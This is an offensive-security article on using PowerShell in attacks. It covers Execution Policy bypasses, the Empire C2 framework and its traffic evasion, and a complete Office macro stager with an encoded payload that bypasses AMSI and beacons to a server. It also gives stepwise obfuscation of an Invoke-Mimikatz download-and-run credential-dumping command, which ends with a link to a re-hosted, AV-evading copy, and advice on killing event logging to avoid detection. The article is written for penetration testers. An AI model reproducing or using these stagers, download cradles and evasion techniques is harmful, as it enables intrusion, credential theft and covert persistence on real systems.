Offensive and Defensive PowerShell - II

Just as PowerShell provides serious benefits to system administrators, it can also be used to offensives side if they are used correctly they can do powerful attacks. There are many reasons for offensive users to use PowerShell. If we would sort these reasons briefly;

  • PowerShell is installed by default on all Windows operating systems after Vista and Server 2008.
  • The code can be executed in memory without touching the disk.
  • PowerShell is anti-forensic firendly, it leaves very few traces on the target system under normal conditions.
  • If the Remoting feature is enabled on the target systems, can access to the target system via encrypted traffic.
  • PowerShell is a scripting language and PowerShell codes can be obfuscated easily. This makes it difficult to detect with traditional security tools.
  • When hardening systems, PowerShell is often ignored.
  • Through the community, there are many open sources projects that are easily accessible and accomplish great things.
  • Because PowerShell.exe is itself a Signed and Legal operating system process, most applications are ignored during tightening for Whitelisting products.
  • With PowerShell, almost everything can be done in high-level and low-level.
  • PowerShell can access to the .NET Framework and System Calls.
  • Under normal circumstances, PowerShell can be called from any language that allows commands to be run in the operating system. For example, .BAT, .DOC, .XLS, .PPT, .HTA, .EXE, .DLL etc.

PowerShell is often used by attackers, pentesters, and red teams for the above reasons. The following sections; How should PowerShell be used during an attack? What should be considered when using PowerShell? to answer questions and to give an idea.

Execution Policy

Information about what the Execution Policy is in PowerShell is given in the previous section, but Execution Policy restricts script execution on most systems on the default setting, even though it is not a security precaution. This obstacle can be overcome in many different ways, and a few are mentioned in this section.

Execution Policy can be bypassed by giving Bypass value to the value of -ExecutionPolicy parameter, and there is no need any privileges for it. So you can work on a new session easily. In addition, the execution path of the script to be given to the -File parameter can be exceeded by Execution Policy and the script can be executed directly.

powershell -ExecutionPolicy Bypass
powershell -exec bypass
powershell -ExecutionPolicy Bypass -File C:\directory\script.ps1

With the Invoke-Expression Cmdlet, PowerShell commands or scripts can be executed, and a script accessed from disk or over the network can be run without being attached to the Execution Policy. Here are three examples of how to run the script on disk with the different methods and how to run the script accessed over the network.

Invoke-Expression -Command "C:\directory\script.ps1"
"C:\directory\script.ps1" | Invoke-Expression
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://ipDomain/script')

The Base64 encoded version of the command or codes can given to EncodedCommand parameter value and that command or codes will be executed without Execution Policy. When PowerShell is called in this way, the command or code will be decoded and run.

powershell -e RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==
powershell -enc RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==

With the

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes("Command/Code"))

command, PowerShell commands can be encoded in Base64.

Execution Policy can be bypassed by many other methods. Again, I would like to remind you that this is not a security measure.

Empire

Empire is a Post-Exploitation tool and RAT that uses the PowerShell infrastructure on the target side. Empire’s server side was developed with Python, and payloads were developed using PowerShell and the Python language.

At some points in the article, Empire and Meterpreter were compared. However, Empire is not a substitute project for Meterpreter. Both are projects in completely different areas. The reason for the comparison to some points is that the widespread use of the Meterpreter and some of the features of the Meterpreter serve the same purpose as the Empire. (son cümleye bakıcalacak)

Empire contains many modules that are needed and sometimes more than necessary after a Windows system has been infiltrated. Empire payloads can run on many different operating systems, especially on Windows and Linux and Mac OS X operating systems. Modules for the Windows operating system were developed with the PowerShell language, and modules for other operating systems were developed with the Python language.

Empire encrypt the traffic and increases the security of the communication between the target system and the command-and-control server. Below, Empire’s work structure has been tried to be schematized step by step.

Empire Work Structure

Empire Work Structure

In order to use the Empire, Listener must be set first. In Empire, Listener is created first and then Stager is created for Listener created. Contrary to popular practice, Listener is created first.

Listener

Empire always accepts a reverse connection and basically uses the Reverse HTTP(S) connection method. At the same time, Dropbox can be used as a command-and-control server, and Empire offers a lot of diversity in this regard. Below is a list of Listeners and explanations that can be created in Empire.

Listeners

Listeners

dbx, the Dropbox infrastructure is used and the Agents communicate with Dropbox so that Dropbox is used as command control center.

http, HTTP (S) protocol is used for communication, Reverse HTTP (S).

http_com uses hidden Internet Explorer COM objects to communicate instead of Net.WebClient for communication.

http_Foreign is used to transfer incoming sessions in situations where multiple command control centers are used.

http_hop works like the Reverse Hop HTTP payload in Metasploit, and the incoming connections are sent to another Listener.

meterpreter is used to inject shellcodes for the meterpreter/reverse_http or meterpreter/reverse_https payloads.

If you are developing or using a RAT, there are a few things that you should pay attention to. The first one is communication. The payload to work on the target system can communicate securely. We can divide the communication security into two parts. The first is the ability to provide traffic similarity to other traffic in the target system in order to attract attention. For example, it would be better to not communicate over Raw TCP sockets and use the HTTP protocol instead.

The second is the ability to encrypt traffic, even if explicit (unencrypted) protocols are used. Empire is also very successful in these two areas. Even if Reverse HTTP connection is selected directly, the data in the traffic is encrypted. The traffic in the Empire is encrypted using whatever Listener is used, so it is harder to solve exactly what kind of data is passed when the traffic is examined. In addition, this situation makes it very difficult to write a signature for traffic. For example, when looking at the Meterpreter, most payload types are open traffic.

An HTTP Listener has been created for the article and a screenshot of the settings below is provided.

Listener Options

Listener Options

The key-exchange protocol used by Empire is called Encrypted Key Exchange (EKE). For Empire, a small launcher (a basic proxy-aware IEX download cradle) is used to download/execute the patched ./data/stager.ps1 script. The URI resource for this request can be specified in ./setup_database.py under the STAGE0_URI paramater. The stager.ps1 is case-randomized then XOR encrypted with the AES staging key from the database config. This means the key-negotiation stager delivered to each agent will be randomized/different per server, but will be static for each server instance. The staging key is sent with the launcher in order to decrypt the stager, so is assumed to be “burned” by network defenders. This stager generates a randomized RSA private/public key pair in memory, uses the AES staging key to post the encrypted RSA public key to the STAGE1_URI resource (also specifiable in ./setup_database.py). A random 12-character SESSIONID is also generated at this point, which is the initial name the agent uses to check in. After this post, the server returns the server’s epoch time and a randomized AES session key, encrypted in the agent’s public key. The agent decrypts the values, gathers basic system information, and posts this information to the server encrypted with the new AES session key to STAGE2_URI. The server then returns the patched ./data/agent.ps1, which can be thought of as the standard API. From here, the agent starts its beaconing behavior.1

Empire Staging Process

Empire Staging Process

There are other prominent features in Empire’s traffic. Agents can be communicate with delay (DefaultDelay parameter). This reduces the likelihood of attracting attention to your traffic. For example, once a connection is made in Meterpreter, the payload is constantly communicating with the command control center, and traffic is noticeable even when looking at connection rates only.

At the same time, you can set the time value for the communication (WorkingHours). For example, if the target is operating between 09:00-17:00, the Agent may be able to contact the command and control center outside these hours. Working outside working hours is advantageous when a noticeable process is performed or alarms are activated. Because interventions on the target side will often be delayed for alarms that occur outside working hours. The products working 24/7 in most of targets not humans so the human factor usually interferes with events that occur during working hours.

The possibility of attracting attention by adding a delay to the communication with the agent’s command control center may be reduced, but other advantages are provided by Empire. When the Listener starts running, the Agent will communicate over the HTTP(S) protocol and when viewed traffic this will be look like Web Browsing traffic. The important point here is that if the Agent tries to access the same directory and file each time, it will not appear as a normal Web Browsing traffic. It is possible to decide which directories and files the agent will access (DefaultProfile) and which User-Agent (DefaultProfile) value will be used when this communication is performed.

Below is a sample screenshot of the traffic of the Empire’s agent with the command and control center. During an average attack, traffic will look like this.

Empire Network Traffic

Empire Network Traffic

As shown in the following screenshot, each request is processed in different directories and files. It appears that the User-Agent header information is as desired. Also on the server side, the Server header information is passed as Microsoft-IIS/7.5 and all these values can be changed as desired.

Empire Network Traffic Detail

Empire Network Traffic Detail

Stager

PowerShell can be used in any case where PowerShell can be called on the Windows operating system. The Empire Stager can also be used. In the Empire there are too many different types of Stagers can generate.

Stager for Windows environments can be generated in .BAT, .VBS, .SCT, .DLL file types in Empire. Stager can also be created for devices like USB Rubber Ducky and Bunny. At the same time, Empire can be used whenever Python can be called. Below is a screenshot of the Stagers that can be created for the Empire.

Empire

Empire

As can be seen, many different types of Stager can be created for many different platforms. As the article is based on Windows operating system, Macro type Stager has been created for use in Office family products. The generated Stager is given below.

Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Dim Str As String
    str = "powershell -noP -sta -w 1 -enc  WwBSAEUAZgBdAC4AQQ"
    str = str + "BzAFMARQBtAGIAbAB5AC4ARwBFAHQAVAB5AHAARQAoACcAUwB5"
    str = str + "AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AH"
    str = str + "QAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcA"
    str = str + "KQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAEkARQ"
    str = str + "BsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAn"
    str = str + "ACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjAC"
    str = str + "cAKQAuAFMARQBUAFYAYQBsAFUAZQAoACQAbgB1AGwAbAAsACQA"
    str = str + "VABSAFUARQApAH0AOwBbAFMAeQBTAHQAZQBtAC4ATgBlAFQALg"
    str = str + "BTAEUAUgBWAEkAYwBFAFAATwBJAE4AdABNAGEAbgBhAGcAZQBS"
    str = str + "AF0AOgA6AEUAWABwAEUAQwBUADEAMAAwAEMAbwBuAFQAaQBuAH"
    str = str + "UARQA9ADAAOwAkAFcAYwA9AE4AZQB3AC0ATwBCAEoARQBDAHQA"
    str = str + "IABTAFkAcwB0AEUATQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkARQ"
    str = str + "BuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAg"
    str = str + "ACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE"
    str = str + "8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAA"
    str = str + "cgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbw"
    str = str + "AnADsAJAB3AEMALgBIAEUAQQBEAEUAUgBTAC4AQQBEAGQAKAAn"
    str = str + "AFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAE"
    str = str + "MALgBQAFIAbwB4AHkAPQBbAFMAWQBTAFQARQBNAC4ATgBlAHQA"
    str = str + "LgBXAEUAQgBSAGUAUQBVAEUAcwB0AF0AOgA6AEQARQBGAGEAVQ"
    str = str + "BMAFQAVwBlAGIAUABSAE8AWAB5ADsAJABXAEMALgBQAFIAbwBY"
    str = str + "AFkALgBDAHIARQBEAGUAbgBUAEkAYQBsAFMAIAA9ACAAWwBTAH"
    str = str + "kAUwB0AEUATQAuAE4AZQBUAC4AQwBSAGUARABFAG4AdABpAGEA"
    str = str + "bABDAGEAQwBIAGUAXQA6ADoARABFAEYAQQB1AGwAdABOAEUAVA"
    str = str + "B3AE8AUgBrAEMAUgBFAEQARQBOAHQAaQBBAEwAcwA7ACQASwA9"
    str = str + "AFsAUwBZAFMAdABlAG0ALgBUAEUAeABUAC4ARQBOAEMATwBkAE"
    str = str + "kAbgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAeQBUAEUA"
    str = str + "UwAoACcAUQBbADkAWgBeAHkAbwBKADEAdgBjADcANABnAGIAOw"
    str = str + "B6AHIAIwBzADUAIQArAEgAMwBJAEsAfgBZAHgAagAwACcAKQA7"
    str = str + "ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD"
    str = str + "0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoA"
    str = str + "PQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJA"
    str = str + "BLAC4AQwBvAFUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABf"
    str = str + "AF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAF"
    str = str + "sAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEA"
    str = str + "KQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQ"
    str = str + "ApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABd"
    str = str + "AD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAG"
    str = str + "IAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQA"
    str = str + "SABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABlAEEAZA"
    str = str + "BlAFIAcwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBz"
    str = str + "AGUAcwBzAGkAbwBuAD0AYwA0AGwAbAB1AG0ATABHAEQAVQBYAF"
    str = str + "UAcABTADcARABjAEoAWQB4AGoATQBSAHQAMAB6AEkAPQAiACkA"
    str = str + "OwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEANwAyAC4AMQ"
    str = str + "A2AC4AMQA4ADYALgAxADcAOQA6ADgAMAAnADsAJAB0AD0AJwAv"
    str = str + "AGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQARABBAH"
    str = str + "QAQQA9ACQAVwBDAC4ARABvAHcATgBMAE8AQQBkAEQAQQB0AEEA"
    str = str + "KAAkAHMARQByACsAJAB0ACkAOwAkAEkAVgA9ACQAZABhAHQAQQ"
    str = str + "BbADAALgAuADMAXQA7ACQARABBAFQAQQA9ACQAZABBAHQAQQBb"
    str = str + "ADQALgAuACQARABBAFQAYQAuAGwAZQBOAGcAVABIAF0AOwAtAG"
    str = str + "oAbwBpAE4AWwBDAEgAYQByAFsAXQBdACgAJgAgACQAUgAgACQA"
    str = str + "ZABBAHQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create str, Null, objConfig, intProcessID
End Function

The Macro is added to any Office family product, the PowerShell based Stager will run when the Macro is activated. Macros on Office are turned off by default, and when the user opens the file with the Macro attached, a warning will be issued to decide whether to run the Macro. If the user accepts the Macro at this point, the Macro will run.

When the macro code is examined, a function named “Debugging” is created and the function is divided into two. First, the variable named str is assigned and the variable value is defined as “powershell.exe”, parameters and encoded Stager. The parameters used for the invoked PowerShell operation are -noP, -sta, -w 1, and -enc.

The first parameter, which means NoProfile, means that the currently active user’s profile will not be loaded, the sta parameter means start the PowerShell process in single-thread mode, the WindowStyle parameter and value 1 means start the PowerShell process in hidden window. The enc (encodedCommand) parameter means that Base64-encoded PowerShell code is provided as the value. The Stager in the macro is decoded and given below.

Decoded Stager

Decoded Stager

The Stager primarily bypasses the Anti-Malware Scan Interface (AMSI) measure. It performs the necessary operations to encrypt the communication, then it takes the information of a Proxy used in the system and starts the initial communication with the command control center by using the values used when “Listener” is created. Finally, the PowerShell commands/scripts in the responses from the command center are run with IEX (Invoke-Expression).

In the second part of the function in Macro, the PowerShell process is invoked as a hidden window via WMI to run the Stager. Finally, the functions AutoOpen() and Document_Open() are defined. The Debugging function is called when the related functions are triggered.

When a macro created in this way is inserted into a document, it must be ensured that the macron is inserted into the document. When adding a macro, the Document name (Document) value must be selected for the Macros in value. If this is not done or the default value is selected, the Macro will be saved to the local system and only the created file will be sent when the document is sent to the destination.

The macro will not go to the destination because it is added to the system, not the document. Also, selecting the Word 97-2003 Document (*.doc) option while the file is being saved (for example, added to the Word file) is important for Macron’s healthy work. Word files created with this option are generic file types and work well in all Word versions.

Below is a screenshot of opening the example file with Office Word installed with default settings. It is important to remember that Macros are not run directly in default settings and require user confirmation. When the user activates the Macros, Empire’s Stager will work.

Empire Macro

Empire Macro

PowerShell > powershell.exe

It can be deduced that when you examine the Stager’s code created for Windows systems using Empire you need to run powershell.exe directly. Blocking powershell.exe may be considered a precaution, but such an approach will not remove the problem properly. Because PowerShell is much more than an executable (powershell.exe), and powershell.exe is a console application for PowerShell. PowerShell processes in the System.Management.Automation.dll, one of the main components of the Windows operating system, and can not be removed because it is naturally one of the main components. For example, on a system where powershell.exe is blocked, PowerShell can still be accessed and manipulated via powershell_ise.exe. This is why PowerShell is much more than an executable file, as mentioned above.

It can be deduced that when you examine the Stager’s code created for Windows systems using Empire you need to run powershell.exe directly. Blocking powershell.exe may be considered a precaution, but such an approach will not remove the problem properly. Because PowerShell is much more than an executable (powershell.exe), and powershell.exe is a console application for PowerShell. PowerShell processes in the System.Management.Automation.dll, one of the main components of the Windows operating system, and can not be removed because it is naturally one of the main components. For example, on a system where powershell.exe is blocked, PowerShell can still be accessed and manipulated via powershell_ise.exe. This is why PowerShell is much more than an executable file, as mentioned above.

If PowerShell.exe is blocked on the target system, how can it be bypassed? For this, respectively;

  • A C# application is developed that uses System.Management.Automation.dll as a reference.
  • The PowerShell commands that you want to run are delivered to the called DLL as a reference.

When the above two steps are taken, even if PowerShell.exe is blocked, PowerShell commands can be executed and the desired operations can be performed. In fact, the actions that this application has made are not much different from what powershell.exe does, because powershell.exe works like that.

There are many projects that run both PowerShell scripts and PowerShell-based attack scripts to bypass a measure taken in this way. Some of those; PwnedShell, Unmanaged PowerShell, PowerOPS and PSAttack. On the screen below, powershell.exe is not allowed to run on the system, but PSAttack project has access to PowerShell and PowerShell command is run.

PS>Attack

PS>Attack

Obfuscation

Obfuscation is the practice of making something difficult to understand. Also we can explain the Obuscation process as the identification, removal or other definition of unnecessary parts. Unimportant parts of the code are important for this process. Obfuscation is one of the most used methods to bypass signature-based detections. The obfuscation process is not difficult because PowerShell is a scripting language.

For the article, Mimikatz’s PowerShell script Invoke-Mimikatz.ps1 is intended to run on the target system. The following command has been used to download and run the script on the target system.

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifes tation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds

The command given above has a syntax with a very common usage rate. Even the library or Cmdlet used can directly cause an alarm on the target system. After reviewing the command at this point, it has been tried to remove unnecessary parts and to specify them in other forms where possible. First, the definition of “System” in “System.Net.WebClient” can be removed because the .NET function will work properly even if it does not have “System” definition.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/ PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds

HTTP or HTTPS are remarkable values. The URL in the command is a string value and can be fragmented as desired.

Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps'+':'+'/'+'/'+'raw.githubusercontent.c om/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); InvokeMimikatz -DumpCreds

We can assign the library definition “(New-Object Net.WebClient)” as a variable and then call it in the place to be used.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps'+':'+'/'+'/'+'raw.githubusercontent.com/mattife station/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds

The DownloadString definition is also one of the notable sections. Because this definition has been used and continues to be used during many PowerShell based attacks. Although there are other definitions to replace DownloadString, this definition can still be used and it can be targeted to avoid signature-based fixes.

At this point, the DownloadString definition can be placed between two ` characters. A usage like this would not be a problem for PowerShell, but it could still trigger an signature. To overcome this, ` character can be used. ` character is an escape character in PowerShell. As you can see in the screenshot below, PowerShell has a special meaning when ` character is used in certain situations.

PowerShell Special Characters

PowerShell Special Characters

PowerShell does not respond to any use outside of these definitions, and continues to work as if there were no “`“ character. For example, if you run the command “powershell -exec bypass”, a Warning level log will be created on a system when Script Block logging is active. If the same operation is executed with the command “powershell -exec `B`y`P`A`Ss “, there is no log at Warning level. Both commands do the same thing. Normally, the command classified as suspicious was not detected when using the “`“ character.

Warning Log

Warning Log

Verbose Log

Verbose Log

As mentioned above, the string “DownloadString” in the command can be placed between quote marks. Thus, using “`“ character can be possible to obfuscate the code. And same obfuscation operation can be performed within Net.Webclient because it is an argument for New-Object as well.

$get = New-Object "`N`et.`W`ebc`l`i`ent"; Invoke-Expression
$get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps'+':'+'/'+'/'+'raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); InvokeMimikatz -DumpCreds

At this point, some controls can be bypassed using the current version of the command. Therewithal continuing the obfuscation can give better results. Hence, there is the “Invoke-Obfuscation” project developed for command or code obfuscation. This project use many different techniques to complicate the execution command or code. For instance, the command given at the entrance of the chapter is obfuscated by using one of the obfuscator in Invoke-Obfuscation project which is named “TOKEN\COMMAND\3”.

.("{2}{0}{4}{5}{1}{3}"-f 'ke-Expr','io','Invo','n','es','s') (&("{2}{1}{0}" -f'ct','Obje','New-')System.Net.WebClient).DownloadString('https://ipOrDomain/Invoke-Mimikatz.ps1'); .("{0}{3}{2}{1}"-f'Inv','atz','k','oke-Mimi') -DumpCreds

Project includes many other obfuscators and more than one technique can be used together. Until now, we talked about the obfuscation methods to bypass conventional security mechanism which are generally signature based. However, the Invoke-Mimikatz.ps1 file can be easily detected by many security solutions, including Windows Defender which is installed by default for Windows Operating System. The following screenshot belongs the scan result of Invoke-Mimikatz.ps1 on VirusTotal. As seen it has been identified as malicious by many security products.

Invoke-Mimikatz.ps1 Scan Result

Invoke-Mimikatz.ps1 Scan Result

Even you directly run Invoke-Mimikatz.ps1 on target system, it is also detected as malicious by Windows Defender which uses the Anti-Malware Scan Interface (AMSI).

Invoke-Mimikatz.ps1 AMSI Block

Invoke-Mimikatz.ps1 AMSI Block

We identified that some security products have weak signatures linked to specific words. Following PowerShell script contains sample comment lines and function name from the original Invoke-Mimikatz.ps1 file. The code only prints “Mimikatz” string to the screen. Virustotal scan result of the file can be examined below.

function Invoke-Mimikatz {
<#
    .SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do things
    such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed against
    multiple computers.
    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.
    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com.
    Email: [email protected] Twitter @gentilkiwi
    License: http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Mimikatz version: 2.0 alpha (12/14/2015)
#>
    Write-Output "Mimikatz"
}

Invoke-Mimikatz Sample Scan Result

Invoke-Mimikatz Sample Scan Result

The Invoke-Mimikatz.ps1 script has many comment lines (+250 lines) which does not change the script’s runtime activity. Any changes in file is enough to change the hash of the file. On the other hand, changes of correct bytes can bypass the signature-based security mechanisms. The comment lines have been removed and the following strings on the table have been replaced with the different ones.

Before After
Invoke-Mimikatz Invoke-Leg1t
DumpCreds DpCr3dz
DumpCerts DpC3rtz
$TypeBuilder $T3Bu1ld
NoteProperty `N`ot`e`Pr`o`p`erty

The detection rate has been decreased from 29 to 12 by just removing the comment lines and five subsequent changes on specific locations. As you see on the screenshot below, most security products marked the files as clean with relevant changes. With the further modifications on the right locations of the script will dramatically decrease the detection rate.

Invoke-Mimikatz.ps1 Scan Result 2

Invoke-Mimikatz.ps1 Scan Result 2

Eventually, the obfuscated script was uploaded to Github. It can be downloaded and run on the target system by just using the following command.

&("{0}{1}{2}{3}" -f 'Invoke-Express','i','o','n') (&("{1}{0}{2}" -f 'Obj','New-','ect')System.Net.WebClient).DownloadString('https://gist.githubusercontent.com/anonymous/03cfe65e513eba4f9e8f69391d121163/raw/1f77483f9afd738def5abc7c9e3e8f8624674a09/Invoke-Leg1t.ps1'); .("{2}{0}{1}"-f 'nvo','ke-Leg1t','I') -Command"privilege::debug exit"

Invoke-Mimikatz.ps1 Obfuscation and Bypass

Invoke-Mimikatz.ps1 Obfuscation and Bypass

Phant0m

Phant0m is a PowerShell script and targets the Windows Event Log Service in Windows operating system. Because the most traces of a possible attack remain in the operating system logs. You can access the all information about Phant0m the following post, Phant0m: Killing Windows Event Log.

Phant0m

Conclusion

PowerShell can also allow many operations to be performed on targets (especially Windows systems) due to the capabilities and flexibility provided at the beginning of the post, without the need for many security measure and under normal conditions. For this reason, PowerShell is widely preferred for infiltration into the target system and for later movement after lateral infiltration. Here are some points that I will make relevant recommendations for using PowerShell in penetration testing:

  • If you have PowerShell v2 on the target system use it, because there is no perfect logging capability in PowerShell v2. So you leave less traces.
  • If you have high privileges or you can escalte privileges firstly use Phant0m. If Phant0m runs successfully, Windows Event Log Service will not work. So the target system will not be able to collect logs and will not be able to send logs because it can not collect logs. At the same time the Windows Event Log Service will appear to be running because the svchost.exe process for the Windows Event Log Service has not been stopped but only the related threads have been stopped. This is the main advantage and purpose of Phant0m’s. The service stops, but everything seems to be working.
  • Use definitely obfuscation if you use public scripts or techniques on target system.
  • Develop your own methods against behavioral detections. For example, if you call PowerShell through a PowerPoint file using Macro, use other functions instead of the AutoOpen function in the VBScript language. As everyone triggers the payload using the that function, it will be directly flagged as malicious by the security solutions. For example, you can trigger your payload when the slide switch the full screen mode. Thus, you can bypass many security solutions.

References

1 Empire Staging Process
How to Bypass Anti-Virus to Run Mimikatz
Invoke-Obfuscation
Bypass for PowerShell ScriptBlock Warning Logging of Suspicious Commands